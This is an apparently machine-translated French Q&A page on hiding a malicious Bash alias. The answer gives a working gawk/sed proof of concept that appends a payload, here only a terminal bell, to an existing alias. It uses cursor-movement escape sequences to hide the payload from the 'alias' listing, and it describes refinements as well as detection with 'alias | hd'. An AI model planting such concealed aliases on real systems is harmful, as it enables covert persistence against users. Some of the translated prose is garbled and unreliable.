Est-il possible de masquer un alias malveillant dans Bash sous Linux?

9

Est-il possible de dissimuler l'existence d'un alias malveillant dans Bash sur un système Linux et de le faire exécuter par l'utilisateur à son insu?

En pause jusqu'à nouvel ordre.
la source

Réponses:

13

Il est possible de le faire en ajoutant l'alias existant à celui malveillant et en utilisant le mouvement du curseur pour le masquer si la aliascommande est utilisée pour afficher les définitions d'alias. Ce n'est pas une méthode parfaitement infaillible, mais elle pourrait passer inaperçue pendant un certain temps. Le aliasparcours hdvous montrera s'il y a des séquences d'échappement (mouvement du curseur) dans vos alias. Voici une preuve de concept expliquant comment une commande malveillante pourrait être insérée dans un alias:

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • La sedcommande modifie un fichier appelé "alias" en place - un vrai script de ce type irait à la gorge et modifierait un vrai fichier de script pour que l'alias malveillant soit activé la prochaine fois qu'il serait exécuté.
  • La partie malveillante de cet exemple sonne juste la cloche du terminal afin que vous sachiez que cela fonctionne.
  • La commande qui est à l'origine aliasée sera exécutée avec le contenu de hidecomme argument, il est donc concevable que vous puissiez obtenir une erreur similaire à celle rapportée dans cette question . Il peut être possible d'inverser les parties d'origine et malveillantes pour affecter cela, bien que cela interfère avec les arguments fournis à l'alias. Une tentative est faite dans le script ci-dessus pour marquer la fin des arguments avec --.
  • Au lieu de chaîner les parties originales et malveillantes avec &&, vous pouvez rediriger les unes vers les autres et faire fonctionner le script malveillant (représenté ci-dessus par la echocommande simple ) comme un moyen stdinde stdouttransmission soit pour modifier les données au fur et à mesure, soit pour masquer leur existence en n'interférant pas avec d'autres redirection
  • Une autre possibilité serait d'inclure à la place l'alias d'origine dans le script malveillant, ce qui pourrait supprimer la chaîne de déplacement du curseur de la liste des arguments et transmettre le reste à l'original.
  • J'ai choisi arbitrairement les enregistrements 3 et 4, un code plus intelligent pourrait cibler des alias particuliers, mais ils doivent être adjacents (ou le mouvement du curseur pourrait être rendu plus complexe).
  • La hidechaîne peut être modifiée pour inclure différents mouvements du curseur et le texte de l'alias d'origine, de sorte que la aliascommande semble afficher l'alias non modifié au lieu de le masquer avec la partie malveillante.
  • Pour l'essayer tel qu'il est écrit, vous devez avoir au moins quatre alias actifs, exécuter ce script, puis sourcez le fichier résultant avec . aliases. Ensuite, vous pouvez essayer d'utiliser l'alias affecté et voir à quoi il ressemble lorsque vous le faites alias|hd.
  • Cela pourrait sans aucun doute être réécrit d'une centaine de façons différentes - c'est encore mieux.
  • Dans quelle mesure ce type de menace est-il réaliste? Je n'en ai aucune idée. Mais si je peux le faire ...
En pause jusqu'à nouvel ordre.
la source